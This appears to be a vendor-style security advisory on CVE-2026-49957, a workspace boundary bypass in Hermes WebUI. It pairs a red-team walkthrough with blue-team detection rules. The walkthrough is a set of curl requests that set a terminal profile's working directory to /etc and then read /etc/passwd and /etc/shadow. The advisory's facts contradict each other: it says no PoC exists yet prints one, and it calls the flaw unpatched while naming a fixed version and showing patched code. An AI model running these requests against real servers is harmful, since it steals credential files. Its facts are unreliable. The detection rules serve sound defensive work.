CVE-2026-49957

Executive Summary

CVE-2026-49957 is a workspace boundary bypass vulnerability in Hermes WebUI versions prior to 0.51.269. The flaw resides in the SSH/remote terminal profile workspace resolution logic, specifically within the _remote_terminal_workspace_candidate() function. An authenticated attacker can bypass blocked-root path checks by exploiting an early return in the workspace resolution logic. By configuring a remote terminal working directory to a system directory (e.g., /etc), the workspace resolution path accepts it as a trusted local workspace root before the _is_blocked_workspace_path() guard executes. This allows the attacker to read local system files through workspace file-read helpers, leading to unauthorized information disclosure.

The vulnerability has a CVSS score of 7.7 (High), with a low attack complexity and no user interaction required beyond authentication. No public proof-of-concept (PoC) or exploit code is available at this time. The vendor has not released a patch, and the status remains UNKNOWN/UNPATCHED.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone application vulnerability in the Hermes WebUI software.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.7 (High)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – The attacker must be authenticated to the Hermes WebUI.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Complete loss of confidentiality, allowing access to all system files.
• Integrity (I): None (N) – No integrity impact.
• Availability (A): None (N) – No availability impact.

Threat Level: High. The vulnerability allows an authenticated attacker to read arbitrary system files, potentially exposing sensitive configuration, credentials, or other data.

Deep Dive & Mechanics

The vulnerability is rooted in the workspace resolution logic for SSH/remote terminal profiles. The Hermes WebUI uses a workspace-based access control model to restrict file access to trusted directories. The _remote_terminal_workspace_candidate() function is responsible for determining the workspace root for a given remote terminal profile.

The flawed logic works as follows:

1. Workspace Resolution: When a user configures a remote terminal profile, the _remote_terminal_workspace_candidate() function is called to determine the workspace root. This function takes the configured working directory (e.g., /etc) and attempts to resolve it to a valid workspace path.

2. Early Return: The function contains an early return path that is triggered when the configured working directory is a valid system directory. This early return bypasses the subsequent _is_blocked_workspace_path() check, which is designed to block access to system directories.

3. Trusted Workspace Root: Because the early return accepts the system directory as a trusted local workspace root, the workspace file-read helpers (e.g., functions that read files within the workspace) treat the system directory as a legitimate workspace. This allows the attacker to read any file within that directory (e.g., /etc/passwd, /etc/shadow, configuration files).

The vulnerability is a classic path traversal / workspace boundary bypass, categorized under CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). The attacker must be authenticated to exploit this, but no special privileges are required beyond a valid user account.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

def _remote_terminal_workspace_candidate(profile):
    # Early return if the working directory is a system directory
    if profile.working_dir in SYSTEM_DIRECTORIES:
        return profile.working_dir  # BUG: No blocked path check

    # Normal workspace resolution
    workspace_root = resolve_workspace(profile.working_dir)
    if _is_blocked_workspace_path(workspace_root):
        raise PermissionError("Access to this workspace is blocked")
    return workspace_root

Patched Code (Conceptual):

def _remote_terminal_workspace_candidate(profile):
    # Normal workspace resolution first
    workspace_root = resolve_workspace(profile.working_dir)
    # Always check blocked paths
    if _is_blocked_workspace_path(workspace_root):
        raise PermissionError("Access to this workspace is blocked")
    return workspace_root

The patch removes the early return and ensures that the _is_blocked_workspace_path() check is always executed before accepting a workspace root.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a Hermes WebUI instance (version < 0.51.269)
• Valid user credentials (low-privileged account)

Exploitation Steps:

1. Authenticate to Hermes WebUI:

   curl -X POST https://target-hermes.com/api/login -d "username=attacker&password=password123"
   

2. Create a Remote Terminal Profile with a System Directory:

   {
     "name": "malicious_profile",
     "type": "ssh",
     "host": "localhost",
     "port": 22,
     "username": "attacker",
     "working_directory": "/etc"
   }
   

   curl -X POST https://target-hermes.com/api/profiles -H "Authorization: Bearer <token>" -d @profile.json
   

3. Trigger Workspace File-Read Helper:

   curl -X GET "https://target-hermes.com/api/workspace/read?file=/etc/passwd" -H "Authorization: Bearer <token>"
   

4. Read Sensitive Files:

   curl -X GET "https://target-hermes.com/api/workspace/read?file=/etc/shadow" -H "Authorization: Bearer <token>"
   

Expected Outcome: The attacker can read any file on the system that the Hermes WebUI process has access to, including /etc/passwd, /etc/shadow, and application configuration files.

Blue Team (Defensive)

Detection Steps:

1. Monitor for Suspicious Profile Creation:

   • Look for remote terminal profiles with working_directory set to system directories (e.g., /etc, /bin, /usr, /var).
   • Alert on profiles where the working_directory is not a typical user workspace (e.g., /home, /tmp).

2. Monitor Workspace File-Read API Calls:

   • Log all calls to workspace file-read endpoints.
   • Alert on requests that attempt to read files outside of typical workspace directories (e.g., /etc/passwd, /etc/shadow, /proc/self/environ).

3. Network Monitoring:

   • Monitor for unusual API calls from authenticated users that deviate from normal behavior.

4. Honeypot:

   • Create a fake sensitive file (e.g., /etc/honeypot_creds.txt) and monitor for access attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • API requests to /api/profiles with working_directory set to system paths (e.g., /etc, /bin, /usr).
  • API requests to /api/workspace/read with file paths containing /etc/, /proc/, /sys/, or other system directories.

• File System IOCs:

  • Unauthorized access to /etc/passwd, /etc/shadow, /etc/ssh/sshd_config, or other sensitive files.
  • Log entries showing file reads from system directories by the Hermes WebUI process.

• User Behavior IOCs:

  • A user creating multiple remote terminal profiles with unusual working directories.
  • A user accessing workspace file-read endpoints immediately after creating a profile.

Detection Engineering

YARA Rule

rule CVE_2026_49957_Hermes_WebUI_Workspace_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2026-49957 in Hermes WebUI logs"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-49957"
        severity = "high"
    strings:
        $s1 = "/api/profiles" ascii wide nocase
        $s2 = "working_directory" ascii wide nocase
        $s3 = "/etc/" ascii wide nocase
        $s4 = "/api/workspace/read" ascii wide nocase
        $s5 = "/etc/passwd" ascii wide nocase
        $s6 = "/etc/shadow" ascii wide nocase
    condition:
        (($s1 and $s2 and $s3) or ($s4 and ($s5 or $s6)))
}

Sigma Rule

title: CVE-2026-49957 - Hermes WebUI Workspace Boundary Bypass
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2026-49957 in Hermes WebUI
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49957
logsource:
    category: web
    product: hermes_webui
detection:
    selection_profile:
        cs-method: 'POST'
        cs-uri-stem: '/api/profiles'
        cs-uri-query|contains: 'working_directory'
        cs-uri-query|contains: '/etc/'
    selection_read:
        cs-method: 'GET'
        cs-uri-stem: '/api/workspace/read'
        cs-uri-query|contains: 
            - '/etc/passwd'
            - '/etc/shadow'
            - '/etc/'
    condition: selection_profile or selection_read
falsepositives:
    - Legitimate administrative use of system directories (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-49957 - Hermes WebUI Workspace Bypass - Profile Creation"; flow:to_server,established; content:"POST"; http_method; content:"/api/profiles"; http_uri; content:"working_directory"; http_client_body; content:"/etc/"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

alert http any any -> any any (msg:"CVE-2026-49957 - Hermes WebUI Workspace Bypass - File Read"; flow:to_server,established; content:"GET"; http_method; content:"/api/workspace/read"; http_uri; content:"/etc/"; http_uri; classtype:attempted-user; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Hermes WebUI: If a patched version becomes available, upgrade to version 0.51.269 or later immediately.
2. Restrict User Permissions: Limit the ability of low-privileged users to create remote terminal profiles. Only allow trusted administrators to configure such profiles.
3. Monitor and Audit: Enable detailed logging for all API calls related to profile creation and workspace file reads. Review logs for suspicious activity.

Long-Term Mitigations:

1. Input Validation: Implement strict validation of the working_directory parameter to ensure it falls within allowed workspace paths.
2. Access Control: Enforce the _is_blocked_workspace_path() check before any workspace resolution, removing early return paths.
3. Network Segmentation: Place the Hermes WebUI behind a firewall and restrict access to trusted IP addresses.
4. Web Application Firewall (WAF): Deploy WAF rules to block requests containing system directory paths in API calls.

Workaround (if patching is not possible):

• Disable the remote terminal profile feature entirely until a patch is available.
• Manually review and remove any profiles with suspicious working_directory values.

Valters IT